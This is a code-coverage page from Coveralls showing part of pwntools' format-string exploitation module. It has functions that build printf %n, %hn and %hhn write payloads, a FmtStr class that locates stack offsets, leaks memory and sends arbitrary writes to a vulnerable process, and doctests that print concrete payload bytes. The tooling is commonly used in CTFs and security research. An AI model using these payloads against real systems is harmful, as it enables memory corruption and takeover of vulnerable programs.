        padding = atom.compute_padding(counter)
1✔
727
        counter = (counter + padding) % (1 << (countersize * 8))
1✔
728
        if countersize == 32 and counter > 2147483600:
1!
729
            log.warn("number of written bytes in format string close to 1 << 31. this will likely not work on glibc")
×
730
        if padding >= (1 << (countersize*8-1)):
1!
731
            log.warn("padding is negative, this will not work on glibc")
×
732

733
        # perform write
734
        # if the padding is less than 3, it is more convenient to write it : [ len("cc") < len("%2c") ] , this could help save some bytes, if it is 3 it will take the same amout of bytes
735
        # we also add ( context.bytes * no_dollars ) because , "%nccccccccc%n...ptr1ptr2" is more convenient than %"n%8c%n...ptr1ccccccccptr2"
736
        if padding < 4 + context.bytes * no_dollars:
1✔
737
                fmt += "c" * padding
1✔
738
                ## if do not padded with %{n}c  do not need to add something in data to use as argument, since  we are not using a printf argument
739
        else: 
740
            fmt += "%" + str(padding) + "c"
1✔
741

742
            if no_dollars:
1✔
743
                data += b'c' * context.bytes
1✔
744
                ''' 
1✔
745
                [ @murph12F was here ]
746

747
                the data += b'c' * context.bytes , is used to keey the arguments aligned when a %c is performed, so it wont use the actual address to write at
748
                examplea stack and payload:
749
                    
750
                    fmtsr = %44c%hhn%66c%hhn
751

752
                    ---------
753
                    | addr2 |
754
                    ---------
755
                    | 0x000 |   
756
                    ---------
757
                    | addr1 |
758
                    ---------
759
                    | 0x000 | <-- (rsp)
760
                    ---------
761
                
762
                    in this case the the first %44c will use the current arugument used pointed by rsp ( 0 ), and increment  rsp
763

764
                    ---------
765
                    | addr2 |
766
                    ---------
767
                    | 0X000 |   
768
                    ---------
769
                    | addr1 | <-- (rsp)
770
                    ---------
771
                    | 0x000 | 
772
                    ---------
773

774
                    now it will perform the %hhn, and it will correctly use the addr1 argument
775
                '''
776
            
777
        if no_dollars:
1✔
778
            fmt += "%" +  SPECIFIER[atom.size]
1✔
779
        else:
780
            fmt += "%" + str(data_offset + idx) + "$" + SPECIFIER[atom.size]
1✔
781

782
        data += pack(atom.start)
1✔
783

784
    return fmt.encode(), data
1✔
785

786
def make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes):
1✔
787
    """
788
    Builds an optimized list of atoms for the given format string payload parameters.
789
    This function tries to optimize two things:
790

791
    - use the fewest amount of possible atoms
792
    - sort these atoms such that the amount of padding needed between consecutive elements is small
793

794
    Together this should produce short format strings.
795

796
    Arguments:
797
        writes(dict): dict with addr, value ``{addr: value, addr2: value2}``
798
        sz(int): basic write size in bytes. Atoms of this size are generated without constraints on their values.
799
        szmax(int): maximum write size in bytes. No atoms with a size larger than this are generated (ignored for strategy 'fast')
800
        numbwritten(int): number of byte already written by the printf function
801
        overflows(int): how many extra overflows (of size sz) to tolerate to reduce the length of the format string
802
        strategy(str): either 'fast' or 'small'
803
        badbytes(str): bytes that are not allowed to appear in the payload
804
    """
805
    all_atoms = []
1✔
806
    for address, data in normalize_writes(writes):
1✔
807
        atoms = make_atoms_simple(address, data, badbytes)
1✔
808
        if strategy == 'small':
1!
809
            atoms = merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows)
1✔
810
        elif strategy == 'fast':
×
811
            atoms = merge_atoms_writesize(atoms, sz)
×
812
        else:
813
            raise ValueError("strategy must be either 'small' or 'fast'")
×
814
        atoms = sort_atoms(atoms, numbwritten)
1✔
815
        all_atoms += atoms
1✔
816
    return all_atoms
1✔
817

818
def fmtstr_split(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), no_dollars=False):
1✔
819
    """
820
    Build a format string like fmtstr_payload but return the string and data separately.
821
    """
822
    if write_size not in ['byte', 'short', 'int']:
×
823
        log.error("write_size must be 'byte', 'short' or 'int'")
×
824

825
    if write_size_max not in ['byte', 'short', 'int', 'long']:
×
826
        log.error("write_size_max must be 'byte', 'short', 'int' or 'long'")
×
827

828
    sz = WRITE_SIZE[write_size]
×
829
    szmax = WRITE_SIZE[write_size_max]
×
830
    atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)
×
831

832
    return make_payload_dollar(offset, atoms, numbwritten, no_dollars=no_dollars)
×
833

834
def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0, no_dollars=False):
1✔
835
    r"""fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') -> str
836

837
    Makes payload with given parameter.
838
    It can generate payload for 32 or 64 bits architectures.
839
    The size of the addr is taken from ``context.bits``
840

841
    The overflows argument is a format-string-length to output-amount tradeoff:
842
    Larger values for ``overflows`` produce shorter format strings that generate more output at runtime.
843

844
    The writes argument is a dictionary with address/value pairs like ``{addr: value, addr2: value2}``.
845
    If the value is an ``int`` datatype, it will be automatically casted into a bytestring with the length of a ``long`` (8 bytes in 64-bit, 4 bytes in 32-bit).
846
    If a specific number of bytes is intended to be written (such as only a single byte, single short, or single int and not an entire long),
847
    then provide a bytestring like ``b'\x37\x13'`` or ``p16(0x1337)``.
848
    Note that the ``write_size`` argument does not determine **total** bytes written, only the size of each consecutive write.
849

850
    Arguments:
851
        offset(int): the first formatter's offset you control
852
        writes(dict): dict with addr, value ``{addr: value, addr2: value2}``
853
        numbwritten(int): number of byte already written by the printf function
854
        write_size(str): must be ``byte``, ``short`` or ``int``. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
855
        overflows(int): how many extra overflows (at size sz) to tolerate to reduce the length of the format string
856
        strategy(str): either 'fast' or 'small' ('small' is default, 'fast' can be used if there are many writes)
857
        no_dollars(bool) : flag to generete the payload with or w/o $ notation 
858
    Returns:
859
        The payload in order to do needed writes
860

861
    Examples:
862

863
        >>> context.clear(arch = 'amd64')
864
        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
865
        b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
866
        >>> fmtstr_payload(1, {0x0: p32(0x1337babe)}, write_size='int')
867
        b'%322419390c%3$na\x00\x00\x00\x00\x00\x00\x00\x00'
868
        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
869
        b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
870
        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
871
        b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
872
        >>> fmtstr_payload(6, {0x8: 0x55d15d2004a0}, badbytes=b'\n')
873
        b'%1184c%14$lln%49c%15$hhn%6963c%16$hn%81c%17$hhn%8c%18$hhnaaaabaa\x08\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00'
874
        >>> context.clear(arch = 'i386')
875
        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
876
        b'%322419390c%5$na\x00\x00\x00\x00'
877
        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
878
        b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
879
        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
880
        b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
881
        >>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
882
        b'c%3$naaa\x00\x00\x00\x00'
883
        >>> fmtstr_payload(1, {0x0: b'\x01'}, write_size='byte')
884
        b'c%3$hhna\x00\x00\x00\x00'
885
        >>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
886
        b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
887
        >>> fmtstr_payload(10, {0x404048 : 0xbadc0ffe, 0x40403c : 0xdeadbeef}, no_dollars=True)
888
        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%125c%hhn%17c%hhn%32c%hhn%17c%hhn%203c%hhn%34c%hhn%3618c%hnacccc>@@\x00cccc=@@\x00cccc?@@\x00cccc<@@\x00ccccK@@\x00ccccJ@@\x00ccccH@@\x00'
889
        >>> fmtstr_payload(6, {0x404048 : 0xbadbad00}, no_dollars=True)
890
        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%229c%hhn%173c%hhn%13c%hhn%33c%hhnccccH@@\x00ccccI@@\x00ccccK@@\x00ccccJ@@\x00'
891
        >>> fmtstr_payload(6, {0x4040 : 0xbadbad00, 0x4060: 0xbadbad02}, no_dollars=True)
892
        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%212c%hhn%173c%hhn%13c%hhn%33c%hhn%39c%hhn%171c%hhn%13c%hhn%33c%hhnacccc@@\x00\x00ccccA@\x00\x00ccccC@\x00\x00ccccB@\x00\x00cccc`@\x00\x00cccca@\x00\x00ccccc@\x00\x00ccccb@\x00\x00'
893
    """
894
    sz = WRITE_SIZE[write_size]
1✔
895
    szmax = WRITE_SIZE[write_size_max]
1✔
896
    all_atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)
1✔
897

898
    fmt = b""
1✔
899
    for _ in range(1000000):
1!
900
        data_offset = (offset_bytes + len(fmt)) // context.bytes
1✔
901
        fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten, no_dollars=no_dollars)
1✔
902
        fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes)
1✔
903

904
        if len(fmt) + offset_bytes == data_offset * context.bytes:
1✔
905
            break
1✔
906
    else:
907
        raise RuntimeError("this is a bug ... format string building did not converge")
×
908

909
    return fmt + data
1✔
910

911
class FmtStr(object):
1✔
912
    """
913
    Provides an automated format string exploitation.
914

915
    It takes a function which is called every time the automated
916
    process want to communicate with the vulnerable process. this
917
    function takes a parameter with the payload that you have to
918
    send to the vulnerable process and must return the process
919
    returns.
920

921
    If the `offset` parameter is not given, then try to find the right
922
    offset by leaking stack data.
923

924
    Arguments:
925
            execute_fmt(function): function to call for communicate with the vulnerable process
926
            offset(int): the first formatter's offset you control
927
            padlen(int): size of the pad you want to add before the payload
928
            numbwritten(int): number of already written bytes
929

930
    """
931

932
    def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0, badbytes=frozenset()):
1✔
933
        self.execute_fmt = execute_fmt
1✔
934
        self.offset = offset
1✔
935
        self.padlen = padlen
1✔
936
        self.numbwritten = numbwritten
1✔
937
        self.badbytes = badbytes
1✔
938

939
        if self.offset is None:
1✔
940
            self.offset, self.padlen = self.find_offset()
1✔
941
            log.info("Found format string offset: %d", self.offset)
1✔
942

943
        self.writes = {}
1✔
944
        self.leaker = MemLeak(self._leaker)
1✔
945

946
    def leak_stack(self, offset, prefix=b""):
1✔
947
        payload = b"START%%%d$pEND" % offset
1✔
948
        leak = self.execute_fmt(prefix + payload)
1✔
949
        try:
1✔
950
            leak = re.findall(br"START(.*?)END", leak, re.MULTILINE | re.DOTALL)[0]
1✔
951
            leak = int(leak, 16)
1✔
952
        except ValueError:
1✔
953
            leak = 0
1✔
954
        return leak
1✔
955

956
    def find_offset(self):
1✔
957
        marker = cyclic(20)
1✔
958
        for off in range(1,1000):
1!
959
            leak = self.leak_stack(off, marker)
1✔
960
            leak = pack(leak)
1✔
961

962
            pad = cyclic_find(leak[:4])
1✔
963
            if pad >= 0 and pad < 20:
1✔
964
                return off, pad
1✔
965
        else:
966
            log.error("Could not find offset to format string on stack")
×
967
            return None, None
×
968

969
    def _leaker(self, addr):
1✔
970
        # Hack: elfheaders often start at offset 0 in a page,
971
        # but we often can't leak addresses containing null bytes,
972
        # and the page below elfheaders is often not mapped.
973
        # Thus the solution to this problem is to check if the next 3 bytes are
974
        # "ELF" and if so we lie and leak "\x7f"
975
        # unless it is leaked otherwise.
976
        if addr & 0xfff == 0 and self.leaker._leak(addr+1, 3, False) == b"ELF":
1✔
977
            return b"\x7f"
1✔
978

979
        fmtstr = fit({
1✔
980
          self.padlen: b"START%%%d$sEND" % (self.offset + 16//context.bytes),
981
          16 + self.padlen: addr
982
        })
983

984
        leak = self.execute_fmt(fmtstr)
1✔
985
        leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
1✔
986

987
        leak += b"\x00"
1✔
988

989
        return leak
1✔
990

991
    def execute_writes(self):
1✔
992
        """execute_writes() -> None
993

994
        Makes payload and send it to the vulnerable process
995

996
        Returns:
997
            None
998

999
        """
1000
        fmtstr = randoms(self.padlen).encode()
1✔
1001
        fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen + self.numbwritten, badbytes=self.badbytes, write_size='byte')
1✔
1002
        self.execute_fmt(fmtstr)
1✔
1003
        self.writes = {}
1✔
1004

1005
    def write(self, addr, data):
1✔
1006
        r"""write(addr, data) -> None
1007

1008
        In order to tell : I want to write ``data`` at ``addr``.
1009

1010
        Arguments:
1011
            addr(int): the address where you want to write
1012
            data(int or bytes): the data that you want to write ``addr``
1013

1014
        Returns:
1015
            None
1016

1017
        Examples:
1018

1019
            >>> def send_fmt_payload(payload):
1020
            ...     print(repr(payload))
1021
            ...
1022
            >>> f = FmtStr(send_fmt_payload, offset=5)
1023
            >>> f.write(0x08040506, 0x1337babe)
1024
            >>> f.execute_writes()
1025
            b'%19c%16$hhn%36c%17$hhn%131c%18$hhn%4c%19$hhn\t\x05\x04\x08\x08\x05\x04\x08\x07\x05\x04\x08\x06\x05\x04\x08'
1026
            >>> f2 = FmtStr(send_fmt_payload, offset=5)
1027
            >>> f2.write(0x08040506, p16(0x1337))
1028
            >>> f2.execute_writes()
1029
            b'%19c%11$hhn%36c%12$hhnaa\x07\x05\x04\x08\x06\x05\x04\x08'
1030

1031
        """
1032
        self.writes[addr] = data
1✔
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2026 Coveralls, Inc